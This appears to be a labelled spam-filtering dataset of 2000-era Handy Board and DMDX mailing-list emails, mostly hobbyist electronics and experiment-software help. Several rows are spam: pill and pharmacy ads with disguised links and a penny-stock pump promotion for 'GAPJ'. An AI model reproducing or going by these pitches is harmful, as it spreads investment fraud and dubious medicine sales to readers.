and I am new to programming, so I have a > probably simple question for you all. I have been playing around with > IC trying to get responses on the LCD from start button presses. if I > send the following on the IC command line : > {if (start_button()) printf(""you pressed the start button\\n"");} > It will work only if I am holding the start button when I press return > and it sends the code to the HB. What I want to know is how do I get it > to react to a button press. What I was hoping for was to send the code > then have the HB wait for me to press the button to execute the printf. > > Thanks, > Todd +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | +---------------------------------------------------------+ You can't say civilization isn't advancing; in every war they kill you in a new way -- Will Rogers",0,0 Will Bain ,Handyboard Mailing List ,"Sat, 27 May 2000 01:21:03 -0600",Re: my handy is death ????,"Do you mean that when you turn on the Handy Board, the motors start to run spontaneously? I used to have that problem, too, but only when there was no program yet loaded. I saw a message on this mailing list a few months back that suggested a remedy for this problem, but I can't remember the specifics. I think it had something to do with installing capacitors in the motor drive circuit. Try searching the archives. Sorry I can't be more help. Best of luck! -- Will > Fernando Torres wrote: > > Mister > > They in my university bought 6 HandyBoard for the development of courses relations with IA. > 2 of the Handyboard failed one of them sample in their screen for causes that not yet are known, > the Interactive C, as if I you work correctly, the problem is that the motors are activated all lighting > the red leds, loads you another program, and it continue carrying out the previously mentioned, reset > schemes it and continuous with the problems, if you has antecedents with these problems I you would > thank me you respond to the brevity, because I am carrying out my thesis with this device that is the Handy. > > from their help is already thanked > > Fernando Torres S > Universidad Catolica de la Santisima Concepcion > > Chile +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | +---------------------------------------------------------+ You can't say civilization isn't advancing; in every war they kill you in a new way -- Will Rogers",0,0 Charles Hacker ,Todd Ahlstrom ,"Mon, 29 May 2000 09:29:49 +1000",Re: hbdl question,"Todd, There are Two options on the Windows program HBDL.EXE 1. Download - This downloads a bootloader then a file to the external RAM of the handy board. 2. Burn - This (attempts) to download a file to the HandyBoards 68Hc11 internal EEPROM. Thus 'BURN' the Eprom. So DOWNLOAD is what you would use, if you are requiring to use Interactive C, HB-Buffalo monitor program, or some other Handy Board operating system. It is most unlikely that you will ever need to use BURN. However, it is there if you ever wish to write a (almost) permanent program that is Burnt to the Handyboard EEPROM. > when using hbdl what does the burn the board option do? It says > download to eprom. What file should you download to the eprom? Is this > necessary? > > Thanks, > Todd > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Sun, 28 May 2000 22:03:34 -0400",Test **," Just checking something... ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Sun, 28 May 2000 22:06:01 -0400",Test 2**,"just a test to see if I have the correct address to send... ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Sun, 28 May 2000 22:10:01 -0400",Question burn the board?,"Hi , I have not recieved the HB yet but its on order, my question is I saw in the freeware IC, BURN THE BOARD icon? Is this used to load the programs I write or is it something else? Thanks for any info. -Mike ",0,0 ���� ,DMDX@psy1.psych.arizona.edu,"Mon, 29 May 2000 14:02:07 +0800",[DMDX],"Hi Friends: To my knowledge, DMDX supports only 2 buttons-response to gain the Response Time. Other 3 buttons are for other aims. How to get RT by 4 buttons? Yu-Feng Zang _____________________________________________ �������������������������� --����������������263����������http://www.263.net���������� ������������http://fsurvey.cnnic.net.cn/survey/index.html�� ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 29 May 2000 09:30:14 -0700",[DMDX] Re: ,"At 02:02 PM 5/29/00 +0800, you wrote: >Hi Friends: >To my knowledge, DMDX supports only 2 buttons-response to gain the >Response Time. Other 3 buttons are for other aims. How to get RT by 4 buttons? With , and you can use any number of keys. Combined with and it's kin and a few macros DMDX's input is about as flexible as I could imagine making it. You can implement rating scales, typed word input and changing correct one of many responses from item to item. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every program has two purposes -- one for which it was written and another for which it wasn't.",0,0 Frank Horn ,handyboard@media.mit.edu,"Thu, 27 Sep 2001 16:43:02 -0700",Natural remedies for sexual health.,"Do you realize all your sexual dreams? Now you can! http://vvnj.8ywgvzdvendy88q1v881v88q.sluggingmc.com/?rmmtde ",1,1 """Irina A. Sekerina"" ",DMDX@psy1.psych.arizona.edu,"Tue, 30 May 2000 16:11:44 -0400",[DMDX],"Dear List Members, I am trying to figure out how to set up an .rtf file for a word-by-word self-paced moving window experiment. Here is a fragment of the file: N830 f30 ... 53 ""=== === === ======== == === ======.""; +54 ""The === === ======== == === ====== .""*; +55 ""=== car === ======== == === ======.""*; +56 ""=== === was ======== == === ======.""*; +56 ""=== === === returned == === ======.""*; +57 ""=== === === ======== by === ======.""*; +58 ""=== === === ======== == the ====== .""*; +59 ""=== === === ======== == === driver.""*; +60 ""Was the car back in its place?""*; 800 /; Since it is set up as , I had to insert an empty frame between 53 and 54 to give subjects a pause before the first word appears on the screen. I also tried to slow down the running of the file by putting another empty frame after the comprehension question before the next item. However, it is still too fast; instead, I would like to be able to switch to a ResponseContingent mode here and let subjects choose when to call the next item on the screen. In the DMDX documentation though it says ""ResponseContigensy is an ancient kludge... and its use ... is strongly advised against."" My question is whether there is a way of switching from the default mode to something else after the presentation of the question and before the next item that would allow subjects to control the speed of the experiment. -- Irina Sekerina, Ph.D. Rutgers University Center for Cognitive Science http://ruccs.rutgers.edu/~sekerina",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Tue, 30 May 2000 16:07:21 -0700",[DMDX] Re: Moving window display,"Irina, At 04:11 PM 5/30/00 -0400, you wrote: >Dear List Members, > >I am trying to figure out how to set up an .rtf file for a word-by-word >self-paced >moving window experiment. Here is a fragment of the file: > >N830 f30 +button 5> > >... >53 ""=== === === ======== == === ======.""; >+54 ""The === === ======== == === ====== .""*; >+55 ""=== car === ======== == === ======.""*; >+56 ""=== === was ======== == === ======.""*; >+56 ""=== === === returned == === ======.""*; >+57 ""=== === === ======== by === ======.""*; >+58 ""=== === === ======== == the ====== .""*; >+59 ""=== === === ======== == === driver.""*; >+60 ""Was the car back in its place?""*; >800 /; Here is a version that seemed to work OK for me. Note that I have taken out of the parameter line, and I include it in the item only when I want it to go onto the next item without waiting for a request. N830 f30 d0 0 ""=== === === ======== == === ======.""; +54 ""The === === ======== == === ====== .""* ; +55 ""=== car === ======== == === ======.""* ; +56 ""=== === was ======== == === ======.""* ; +56 ""=== === === returned == === ======.""* ; +57 ""=== === === ======== by === ======.""* ; +58 ""=== === === ======== == the ====== .""* ; +59 ""=== === === ======== == === driver.""* ; +60 %10/""Was the car back in its place?""* ; 0 ""=== === === ======== == === ======.""; +54 ""The === === ======== == === ====== .""* ; +55 ""=== car === ======== == === ======.""* ; +56 ""=== === was ======== == === ======.""* ; +56 ""=== === === returned == === ======.""* ; +57 ""=== === === ======== by === ======.""* ; +58 ""=== === === ======== == the ====== .""* ; +59 ""=== === === ======== == === driver.""* ; +60 %10/""Was the car back in its place?""* ; The first display is an instruction only (itemno zero), and the subject presses the request key to get the first word. The ""d0"" on the parameter line means that the next item is displayed as quickly as possible after the response. The %10 at the beginning of the question introduces a variable delay between the response to ""driver"" and the display of the question. You can make that delay whatever you want by changing the value. After this response, the instruction is displayed, and a request is required before the first word is presented. I have removed details of your input device, which of course, you should put back in. Thus your parameter line should read: >N830 f30 d0 +button 5> > I hope this helps. --Ken Forster",0,0 Daniel Weatherford ,handyboard@media.mit.edu,"Wed, 31 May 2000 03:04:50 +0000",Re: Expansion Board problems (Kinda OT),"> > Good luck, and be sure to wear some kind of eye shield for > when a cap pops! I was trying to build a 110V AC -> 24V DC power supply from Radio Shack parts once... It was late at night and I was tired. I only had a 12v transformer, so I pulled out an electronics book and build a voltage doubler on the output side of the 12v transformer. Well I was stupid and put on 16 volt caps... I turned it on, and crawled in front of it around to use my voltmeter on the output, it showed 25.2 volts (actual 12.6 volt transformer - to be expected) and I was real happy until both caps on my voltage doubler board simultaneously exploded where I had been 5 seconds earlier and practically shrapeneled me with capacitor pieces. I was NOT happy... ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Wed, 31 May 2000 13:20:22 -0400","Grizz, Let me know."," Hi Let me know if you get this message so I know if we are on the same list? Thanks -Mike ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Wed, 31 May 2000 13:22:02 -0400",Expansion board question?," Hi I added the expansion board to my HB. I dowloded the propper files and My question is how do I check to see if my expansion board is working and has the files it needs? Thanks! -Mike ",0,0 Zele <4n7ax@hemo.net>,handyboard@media.mit.edu,"Thu, 01 Jun 2000 06:26:05 +0000",XC68HC11F1B4 Pin assignments,"Hello, I have few XC68HC11F1B4 in 64-pins plastic SDIP, but can not find any data about pin assignments for this chip. Can somebody to help me with it ? Please e-mail to: 4n7ax@hemo.net Z. Ristic ",0,0 Lucinda ,handyboard@media.mit.edu,"Thu, 01 Jun 2000 20:27:19 -0600",Realtime Customer Testimonials," The Only online pharmacy verified by BBB and approved by Visa Seal of Confidence Quality meds at quality prices, and shipping so discrete that comes fast at your doorstep Please give us an opportunity fo check us http://qrrewt.seescum.biz/?23938803 not interested? you can out-out at our website ",1,1 Doug Weathers ,handyboard@media.mit.edu,"Wed, 31 May 2000 23:29:26 +0000",Re: XC68HC11F1B4 Pin assignments,"in article 393601FD.1DF@hemo.net, Zele at 4n7ax@hemo.net wrote on 5/31/00 11:26 PM: > Hello, > > I have few XC68HC11F1B4 in 64-pins plastic SDIP, but can not find > any data about pin assignments for this chip. Can somebody to help > me with it ? I found the documentation for the MC68HC11F1 series on the Motorola web site at this URL: http://199.104.132.208/ProdCat/psp/0,1250,68HC11F1~M98635,00.html The documentation is in an 848k PDF file: http://ebus.mot-sps.com/brdata/PDFDB/MICROCONTROLLERS/8-BIT/M951447426892col lateral.pdf The picture you're looking for is on page 2-1, which is actually page 15 of the document according to Acrobat. > > Please e-mail to: 4n7ax@hemo.net > > Z. Ristic > Well, OK. Hope this helps, Doug -- Doug Weathers, http://www.rdrop.com/~dougw Portland, Oregon, USA Don't spam me - I know how to use http://www.spamcop.net ""On a clear disk you can seek forever"" ",0,1 Daniel Weatherford ,handyboard@media.mit.edu,"Fri, 02 Jun 2000 02:40:54 +0000","Got my Handy, now what?","I ordered my Handy Board today, and am going to install it in an ice cream bucket named ""BucketBot."" (Better name? Please?) Well I know that I'll be hooking up my GP2D12 to it, and a sonar module (Polaroid 6500 hacked out of a Polaroid Sun 660 One Step), but I have a few questions: Does ANYONE know of a good way to make cheap encoders? I have wheels hooked onto servo motors with no electronics (Use a L293D) and need encoders. Should I use a Hall Effect sensor for this and a magnet or two per wheel, or an optical thingie, or what? I really need this sensor, and have NO clue whatsoever about how to implement it. Is there anyway to modify the Handy to take a pre-regulated +5v supply? I have a couple LM2596T-5.0 5Volt 3A Simple Switcher regulators (Order today! They're great! Get samples at www.national.com and a 100uf cap and a 66uh - 100uh inductor, and you're ready to go!) and have had bad luck with the 7805 regulators (which happens to be on the handy...). I MELTED a 7805 once, it got SOFT to the prodding sharp object and ceased to provide 5 volts. And I was running only a HC11, L293D (Logic only, not motor power), Max232, and a HS300 servo. Thanks to that, I tried hooking up my servo to the +12v rail, and poof... no more servo, even screwed up the motor (doesn't turn with any voltage now - didnt think that possible). Well, enough rambling, is it possible? I don't really want to cut traces or anything (besides the pullups on the analog input, and I will probably end up desoldering that whole resistor network). What pyro sensor would you recommend for a fire-fighting bot? I want to cruise by a room, point the sensor at it, and see whether or not the candle's in there. One sensor pack on Acroname said that it could do that, but I can't remember what it's called, and was wondering if there were any suggestions. I am NOT going with the Eltec, it just won't work for me. ",0,0 Gary Livick ,handyboard@media.mit.edu,"Fri, 02 Jun 2000 03:29:11 +0000","Re: Got my Handy, now what?","Daniel Weatherford wrote: > I ordered my Handy Board today, and am going to install it in > an ice cream bucket named ""BucketBot."" (Better name? Please?) > Well I know that I'll be hooking up my GP2D12 to it, and a sonar > module (Polaroid 6500 hacked out of a Polaroid Sun 660 One > Step), but I have a few questions: > > Does ANYONE know of a good way to make cheap encoders? > I have wheels hooked onto servo motors with no electronics > (Use a L293D) and need encoders. Should I use a Hall Effect > sensor for this and a magnet or two per wheel, or an optical > thingie, or what? I really need this sensor, and have NO clue > whatsoever about how to implement it. The The Handy Board Technical Reference has encoder information for you. The ones I use are the QRB1114, and they are just two or three dollars each. The Reference shows you how to wire them. See http://lcs.www.media.mit.edu/groups/el/projects/handy-board/techdocs/index.html. The encoders mentioned provide an analog signal. If you are handy with electronics, you can digitize the signal with a Schmidt trigger. Here is how the QRB1114 is wired digitally. Diode is wired as normal. E (emitter) is wired to ground. 5V supply hooked to 47kb resistor which is hooked to C (collector). C is the hooked into the input of a hex Schmidt trigger (74HCT14) output of Schmidt trigger goes into MCU port. It is suggested that a .01 to .1 capacitor be put from Schmidt trigger input to ground to eliminate spikes from triggering Schmidt trigger. (This information came to me via Doug Leppard. I've done it and it works, but it isn't necessary.) The software to use these encoders already exists as well. See the ""shaft encoder"" link at http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/libs.html. You can use the slow ones and probably have no problem. I you want to speed things up, since the encoder runs in the system interrupt, you can rewrite the .asm file to collect all the encoder data at one time with one read, and leave off the velocity part to decrease the time used in the system interrupt. While you are about it, you can add a way to shut off the encoder data gathering all together while the wheels are not turning, and that makes things much faster. If you need a hint how to do this, email me privately and I'll send along my code that runs four sensors. Keep in mind that when you make encoder targets, the black stripes need to be .10 wide, while the white ones can be much narrower. My white ones are .04 wide, and everything looks fine on an oscilloscope. > > Is there anyway to modify the Handy to take a pre-regulated > +5v supply? I have a couple LM2596T-5.0 5Volt 3A Simple > Switcher regulators (Order today! They're great! Get samples > at www.national.com and a 100uf cap and a 66uh - 100uh > inductor, and you're ready to go!) and have had bad luck with > the 7805 regulators (which happens to be on the handy...). > I MELTED a 7805 once, it got SOFT to the prodding sharp > object and ceased to provide 5 volts. And I was running only > a HC11, L293D (Logic only, not motor power), Max232, and > a HS300 servo. I have used a whole bunch of different boards, including two Handy Boards, and I've never heard of anyone burning one of these things up. I broke one once by dropping something on it, but that doesn't count. If you are worried about overloading yours, either heat sink the thing or provide a separate regulator board for your high current devices. Just keep the grounds hooked together and you should be fine (you know about Vrl and Vrh, so you won't have a problem dealing with that). Other than that, since it isn't broke, don't fix it. > Thanks to that, I tried hooking up my servo > to the +12v rail, and poof... no more servo, even screwed up > the motor (doesn't turn with any voltage now - didnt think > that possible). Well, enough rambling, is it possible? Nope. Impossible :-). > I don't > really want to cut traces or anything (besides the pullups on > the analog input, and I will probably end up desoldering that > whole resistor network). You can just cut a trace for the GP2D12. The pullups don't hurt anything else that I know of. Here is one site that talks about that (off the Handy Board site): http://condor.informatik.uni-oldenburg.de/stueker/GP2D12/ and here is another: http://www.acroname.com/robotics/info/examples/GP2D12-1/GP2D12-1.html. > > > What pyro sensor would you recommend for a fire-fighting bot? Don't know for sure how it would work on finding candle flames, but the Eltec sensor on this page comes in a kit that includes a fresnel lens. http://www.acroname.com/robotics/parts/R3-PYRO1.html Here is the page on the same site that shows how to hook it up: tp://www.acroname.com/robotics/info/examples/eltec-1/eltec-1.html. Beware however of the sample code. Steve (owner of Acroname) writes in C, not IC, so he doesn't know that C++ comments are not recognized by IC. Use /* instead of //. and close with */. > > I want to cruise by a room, point the sensor at it, and see whether > or not the candle's in there. One sensor pack on Acroname said > that it could do that, but I can't remember what it's called, and > was wondering if there were any suggestions. I am NOT going > with the Eltec, it just won't work for me. Oops. Well, maybe others have an idea how the Eltec works, or know of other sensors. Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ ",0,1 Todd Ahlstrom ,handyboard@media.mit.edu,"Fri, 02 Jun 2000 03:50:01 +0000",Ic question,"I have been playing around with my handy in command line for a little while now. It seems like the only way I can get it to start doing something when a sensor is activated is to have it in an infinite loop waiting for that sensor to be pressed. For example: I want it to print something to the LCD when a button is pressed. I use a line like this: while(!digital(7)); printf... while this gets the desired result, the heartbeat gets very slow while it is executing the infinite loop. It seems like this means that all the processing power is being bogged down processing the infinite loop. What I am hoping to accomplish is to have the Handy control a game. What I want to happen is to have the start button pressed, then have the handy read some sensors and react based on what it finds. Is the infinite loop the only way to respond to sensor input? I was hoping to be able to use an if control statement without an infinite loop. i.e.: if(digital(7)) {do something}; but obviously this doesn't work. If anyone could let me know how they code for sensor inputs I would greatly appreciate it. Todd ",0,0 d11zj ,handyboard@media.mit.edu,"Fri, 02 Jun 2000 15:38:48 +0800",Watch this stck go on Thursdayday [DETAILS] licked cemented hoariness,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. And it will go all week so it would be best to get in NOW S T R O N G B U Y R E C O M M E N D A T I O N B U Y N O W Current Press Release Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. 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It gives a random number at first (e.g. 202 instead of 196, for the remote controller input) ; then it gives 0 for all the inputs from the controller. The sensor works fine at this moment, its outputs are not different from when it is used alone. But the problem of ir receiver rises when the sensor is connected to its port, and this makes the sensor suspicious. Connector line of analog port 0 is cut (as it is explained in the mails of this newsgroup) and there is no problem in the output of it (eg. for 20-10cm, the outputs are 125-70). I am using sony-ir.icb library, and it works fine when we use it without the sensor. Could it be related with this library file? I have heard about REC80-TX.ICB library file, did ANYONE this library to run the ir receiver when oparating the GP2D12? If SOMEONE HAS ANY IDEA about this problem, I am waiting for your reply (positive or negative). THANKS.... ",0,0 Will Bain ,Handyboard Mailing List ,"Fri, 02 Jun 2000 08:26:53 -0600",Re: Ic question,"As far as I know, the infinite loop construct is the way to do it. However, you can have multiple processes, each waiting on a sensor, each running in an infinite loop, each using the defer() function to allow switching between processes when appropriate. Some processes can use the msleep() function to effectively lower their priority. This seems to be a fairly efficient way to go. -- Will Todd Ahlstrom wrote: > > I have been playing around with my handy in command line for a little > while now. It seems like the only way I can get it to start doing > something when a sensor is activated is to have it in an infinite loop > waiting for that sensor to be pressed. For example: I want it to print > something to the LCD when a button is pressed. I use a line like this: > while(!digital(7)); printf... while this gets the desired result, the > heartbeat gets very slow while it is executing the infinite loop. It > seems like this means that all the processing power is being bogged down > processing the infinite loop. What I am hoping to accomplish is to have > the Handy control a game. What I want to happen is to have the start > button pressed, then have the handy read some sensors and react based on > what it finds. Is the infinite loop the only way to respond to sensor > input? I was hoping to be able to use an if control statement without > an infinite loop. i.e.: if(digital(7)) {do something}; but obviously > this doesn't work. If anyone could let me know how they code for sensor > inputs I would greatly appreciate it. > > Todd -- +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | +---------------------------------------------------------+ If you steal from one author, it's plagiarism; if you steal from many, it's research. -- Wilson Mizner",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Fri, 02 Jun 2000 10:49:32 -0400",Where to find program examples?," Hi I recently purchased a Hb, does anyone know where I can find examples for programming it? Also is the IC code for the rug Warrior the same as the IC for the HB? Thanks -Mike ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 02 Jun 2000 12:35:46 -0700",[DMDX] TimeDX 2.0.00," I've stuck a preliminary version of TimeDX 2 (in DMDX2.ZIP) on the website. I have released this early code so that I can get some results from people regarding the millisecond callback latency analysis code contained in the new version of TimeDX. The new version is not a replacement for the old code yet, keep it separate (registry keys from each version are separate so no worry there). What the new version does contain is three new tests that monitor millisecond callback latencies, one in the original millisecond timer test that does not have DirectX active, the second in the advanced Video and Millisecond timer test and the last is an option in the Vertical Retrace Synch test (check the ""Use Millisecond Callback Too"" checkbox). What I find is considerable variability in performance of from one machine to the next, in fact there appear to be two distinct classes of machine, the good and the average. The good machine has a stand deviation of 0.31ms in the first test, and 0.52ms in the next two, the average machines have figures like 0.91ms, 0.72ms and 0.81ms across the tests -- these results are fairly consistent across wildly differing machine configurations. One machine (my development box) even momentarily jumped from the average bracket into the very good bracket yesterday (SDs of 0.20ms and 0.30ms) when I installed a tape drive but then fell back again when I accidently damaged it a little by resetting the machine when I didn't mean to. There are more details in the help file. I would like to see some figures from other people and if someone has way too much time on their hands perhaps they could try altering the machines performance (like ripping out extraneous hardware like NICs and un-installing the network layer of win32) to see if we can find out what brings about really good performance -- not that the average boxes don't run DMDX well, they do, it's just that the good boxes are better and I'd like to know why. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The better part of valor is discretion. ",0,0 Daniel Weatherford ,handyboard@media.mit.edu,"Sat, 03 Jun 2000 06:11:56 +0000",Did I fry my Polaroid unit?,"Today, I started trying to use my Polariod Sonar unit pulled from a Polaroid OneStep Sun 660 Camera. I didn't get the hang of it the first time. I desoldered the connector and put on wires. Then I plugged it in backwards. Oops. The chips started heating up.... I pulled it and put it in the right way. After a bit of confusion about the pinouts, I got it going... The only thing is that it makes one chirp upon the Init signal going high, then refuses to make any more regardless of where the Init signal goes. (BTW - I'm frobbing the lines by hand, does this make any difference?) Got zapped by it twice... ow.... Well now the transformer in pos. T1 is heating up a LOT. Is this supposed to do this? Did I fry it? No other components seem to be affected. Is there any way to replace it (part number? order place?)? Is this permenant? Also, my crappy bench supply only gives 1.8 amps at 5 volts. Is this enough for the module (says it needs 2 amps)? Please give me any suggestions! Please help! Thanks, Daniel Weatherford hweatherford@silverlink.net ",0,0 Karin Obrien ,DMDX@psy1.psych.arizona.edu,"Fri, 02 Jun 2000 22:45:05 +0520",Dont expose your intimate life!,"http://bjduse.winslogan.com/?83758556 Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? 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Ive seen messages here before, but couldnt find any in my mailbox, so please, if anyone fixed this problem could they email me. Thanks in advance Ross ",0,0 Gary Livick ,handyboard@media.mit.edu,"Mon, 05 Jun 2000 18:25:04 +0000",Re: fast computer problems,"What works on my computer is to go into the port settings, set XON-XOFF, and then enable the FIFO buffer and turn the speeds all the way up. I have a Toshiba laptop, so hopefully your settings will be the same. If I do it any other way under WIN98, I can't communicate. Good luck, Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ The Glashans wrote: > Hi all > > I jsut got a new win 98 machine, and tried to move IC across to the new > machine. I came up against the problem I'm sure everyone with a new PC must > have encoutereded with win 98, where IC wont communicate. > >From DOS IC works perfectly and HBDL also downloads the P-Code without any > problems. Ive gone through the debug page on the hb website to no avail. Ive > seen messages here before, but couldnt find any in my mailbox, so please, if > anyone fixed this problem could they email me. > > Thanks in advance > Ross ",0,1 Miguel Recuenco ,handyboard@media.mit.edu,"Mon, 05 Jun 2000 20:57:48 +0200","SCI, IC and interrupts","Hi I need to communicate with my handy board using the serial port using the Interrupt for SCI. I tried to test several programs that I found, without success. My basic test is the following. 1.- I created and .asm file which is a copy of the ""sysibeep.asm"" example of the ""interrupt-driven binary Programs"" chapter of the IC manual, but instead of TOC4INT, I coded SCIINT. I created the corresponding .icb file. 2.- In my IC test program I poked the addess 0x102d to the value 0x2c to enable SCI interrupts, and after that I coded and infinite loop. I loaded this file and run. In this situation, I started a vt emulation on my computer and send a lot of characters (ie: holding a key down), the expected result should be a low frequency sound of more or less 600 Hz (9600/(8*2)), that I get is... that when the first character is sent, the handyBoard heart stops, and I have o reset. what is wrong?, there is any conflict between the SCI interrup and the others that IC uses? :-) Miguel ",0,0 The Glashans ,"handyboard@media.mit.edu, glivick@pacbell.net","Tue, 06 Jun 2000 18:35:20 +0200",RE: fast computer problems,"Still no luck! any other ideas ??? - what baud rate is the port meant to be set at? 9600? Thanks again Ross -----Original Message----- From: Gary Livick [mailto:glivick@pacbell.net] Sent: 05 June 2000 08:25 To: The Glashans Cc: lugnet.robotics.handyboard@lugnet.com Subject: Re: fast computer problems What works on my computer is to go into the port settings, set XON-XOFF, and then enable the FIFO buffer and turn the speeds all the way up. I have a Toshiba laptop, so hopefully your settings will be the same. If I do it any other way under WIN98, I can't communicate. Good luck, Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ The Glashans wrote: > Hi all > > I jsut got a new win 98 machine, and tried to move IC across to the new > machine. I came up against the problem I'm sure everyone with a new PC must > have encoutereded with win 98, where IC wont communicate. > >From DOS IC works perfectly and HBDL also downloads the P-Code without any > problems. Ive gone through the debug page on the hb website to no avail. Ive > seen messages here before, but couldnt find any in my mailbox, so please, if > anyone fixed this problem could they email me. > > Thanks in advance > Ross ",0,1 Mario Fific ,DMDX@psy1.psych.arizona.edu,"Wed, 07 Jun 2000 12:20:08 -0500",[DMDX],"For our current experiment I need only two buttons and I am looking for appropriate joystick. It seems as if I am only finding digital joysticks/gamepads on the market. We have such gamepad, and can only poll every 3 milliseconds on it. If someone has worked with a digital gamepad, and shorted out the potentiometers to allow 1 millisecond polling, I'd be grateful for specific details on how you accomplished it. Mario Fific Thank you! ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 07 Jun 2000 10:46:03 -0700",[DMDX] Re: ,"At 12:20 PM 6/7/00 -0500, you wrote: >For our current experiment I need only two buttons and I am looking >for appropriate joystick. >It seems as if I am only finding digital joysticks/gamepads >on the market. We have such gamepad, and can only poll >every 3 milliseconds on it. If someone has worked with a >digital gamepad, and shorted out the potentiometers to allow >1 millisecond polling, I'd be grateful for specific details >on how you accomplished it. I don't know the details of what exactly constitutes a digital joystick (for all I know it could just be marketing BS) but I would imagine that if you got a USB device it's polling time through DirectDraw would be negligible, in fact it will look more like a mouse to the system than anything else (ie an interrupt driven device, not a polled device like the original analog joysticks are). Speaking of mice you could use a mouse as well, they all have very nice timing considerations and there's nothing to stop you plugging in two of them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every program has two purposes -- one for which it was written and another for which it wasn't. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 07 Jun 2000 12:05:46 -0700",[DMDX] Re: joysticks,"At 10:46 AM 6/7/00 -0700, you wrote: Apparently a some of the things called digital joysticks have a lovely digital component to actually read the sticks position but they still have the same grim RC network interface to maintain compatibility with old joysticks, others are just gamepads apparently. If you have one of these I recommend using the RawJoystick device (assuming you are using '95 or '98) instead of Joystick as this will just poll the buttons using a crude hack in DMDX. Some of the later MS joysticks use the MIDI port and these (along with USB devices) are reportedly very fast (and you couldn't use RawJoystick to read them either). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The better part of valor is discretion. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 08 Jun 2000 08:54:50 -0700",[DMDX] saitek digital sticks," A post to the developers list that I follow indicates that a Saitek digital joystick no longer uses conventional analog RC timing to signal the PC, while it does use the conventional joystick connector it sends digital signals through them (with it's own custom driver of course). I do not have one to test but if someone wants to try another stick it sounds like a good one to try. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every program has two purposes -- one for which it was written and another for which it wasn't. ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Thu, 08 Jun 2000 23:52:48 -0400",Motor Masks***," Hi , does anyone know if there are specific moter masks already defined for the HB? Or can I just initialize them anywhere there is free memory? Thanks -Mike ",0,0 John Jensen ,handyboard@media.mit.edu,"Mon, 12 Jun 2000 00:48:40 +0000",circuitboards for Handyboard,"Hi. Are the circuitboards for the Handyboard available somewhere in Europe? Regards/Mvh. John Jensen ",0,0 John Hatton ,HB Mailing list ,"Mon, 12 Jun 2000 14:20:04 +0100",HB Memory map,"This probably sounds like a pretty lame question but I am trying to make use of the unused areas in the lower 32K of the memory map of the HB but I can't seem to find the memory map in the documentation that I have available (the HB pdf manual, IC reference, etc.). I haven't checked the web site as we don't have web access at work due to security limitations. Could somebody provide me with the memory map ?, it would help alot. Thanks in advance for your help. John Hatton ",0,0 Mario Fific ,DMDX@psy1.psych.arizona.edu,"Mon, 12 Jun 2000 13:23:28 -0500",[DMDX],"I need gamepad which is capable of polling no more then 1 ms on buttons (simple yes/no). I've just bought gamepad ""propad 8"" that can be connected over game port as well as USB port. I had some problems with installing it on USB and finally conected it over game port. The Input Test indicated as follows: Device is pooled 0.055, timebase 1 ms. It seems to me that it is pretty fast, and that gamepad is capable to poll no more then 1 ms, over game port. I would like to hear your opinion. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 12 Jun 2000 14:17:35 -0700",[DMDX] Re: ,"At 01:23 PM 6/12/00 -0500, you wrote: >I need gamepad which is capable of polling no more then 1 ms on buttons >(simple yes/no). >I've just bought gamepad ""propad 8"" that can be connected over game port >as well as USB port. I had some problems with installing it on USB and >finally conected it over game port. The Input Test indicated as follows: > >Device is pooled 0.055, timebase 1 ms. > >It seems to me that it is pretty fast, and that gamepad is capable to >poll no more then 1 ms, over game port. I would like to hear your >opinion. That's fine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lawrence Radiation Laboratory keeps all its data in an old gray trunk. ",0,0 loscorp@aromagica.com,handyboard@media.mit.edu,"Mon, 12 Jun 2000 22:04:10 -0400",Proposition," HEALTH: A NEW NATURAL HELP To the product Manager The customers demand for natural products is increasing steadily, and Aromatherapy is becoming an important part of the pharmacopoeia. The Aromagica line of products is the outstanding result of over 10 years of research blending old age traditions from as far back as the 